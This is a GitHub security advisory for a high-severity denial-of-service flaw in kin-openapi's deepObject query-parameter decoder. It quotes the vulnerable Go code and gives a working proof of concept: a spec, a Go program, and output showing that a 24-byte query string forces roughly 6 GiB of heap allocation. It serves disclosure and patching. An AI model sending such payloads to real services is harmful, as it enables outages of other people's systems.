GitHub Advisoryadvisory · Go
GHSA-xhj3-7xw9-vr34 kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding
HIGH
Official page ↗
- Aliases
- CVE-2026-77354
- Ecosystem
- Go
- Packages
- github.com/getkin/kin-openapi
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-400, CWE-789
- Reviewed
- 2026-08-21
Affected packages
• Go github.com/getkin/kin-openapi: >= 0.124.0, < 0.142.0 → fixed in 0.142.0
Description
Summary
An uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the largest attacker-supplied index and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to ~6.1 GiB, reliably triggering an OOM kill / restart loop on memory-constrained services.
Details
The OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a¶m[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in `sliceMapToSlice`:
```go
// req_resp_decoder.go (vulnerable version)
func sliceMapToSlice(m map[string]any) ([]any, error) {
var result []any
keys := make([]int, 0, len(m))
for k := range m {
key, err := strconv.Atoi(k) // "50000000" -> 50000000, attacker-controlled
if err != nil {
return nil, fmt.Errorf("array indexes must be integers: %w", err)
}
keys = append(keys, key)
}
max := -1
for _, k := range keys {
if k > max {
max = k // max = attacker's index, unbounded
}
}
for i := 0; i <= max; i++ { // <-- unbounded loop, 0 .. max
val, ok := m[strconv.Itoa(i)]
if !ok {
result = append(result, nil) // fills every sparse hole with nil
continue
}
result = append(result, val)
}
return result, nil
}
```
A second, equally-sized allocation follows immediately in `buildResObj`:
```go
resultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1
for i := range arr {
r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)
...
}
```
So a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with no upper bound other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory.
Why `maxItems` does not help. `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.
Why this is deepObject-specific. Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no "index" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at `:479`, `:777`, `:841`) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` (`:661-687`) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.
Preconditions. The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.
Introduced in. `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit `78bb273` ("openapi3filter: deepObject array of objects and array of arrays support (#923)", merged 2024-03-22), which first shipped in `v0.124.0`. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.
PoC
Verified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.
1. Spec — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):
```yaml
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/q:
get:
parameters:
• name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
```
2. Program — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses:
```go
package main
import (
"context"
"fmt"
"net/http"
"runtime"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/q:
get:
parameters:
• name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, _ := loader.LoadFromData([]byte(spec))
_ = doc.Validate(loader.Context)
router, _ := gorillamux.NewRouter(doc)
// Attacker-controlled index. A 24-byte query string is enough to force
// materialization of a 50-million-element slice.
const rawQuery = "param[items][50000000]=x"
r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil)
route, pp, _ := router.FindRoute(r)
var before, after runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&before)
err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
runtime.ReadMemStats(&after)
fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery))
fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20))
fmt.Printf("ValidateRequest error: %v\n", err)
}
```
3. Observed output (`go run .`, unpatched tree, re-verified in this pass):
```
query string: "param[items][50000000]=x" (24 bytes)
heap allocated during ValidateRequest: 6231.1 MiB
ValidateRequest error: parameter "param" in query has an error: Error at "/items": max…
Related
Alias · CVE (1)
- CVE-2026-77354 kin-openapi is a Go project for handling OpenAPI files. vulnerability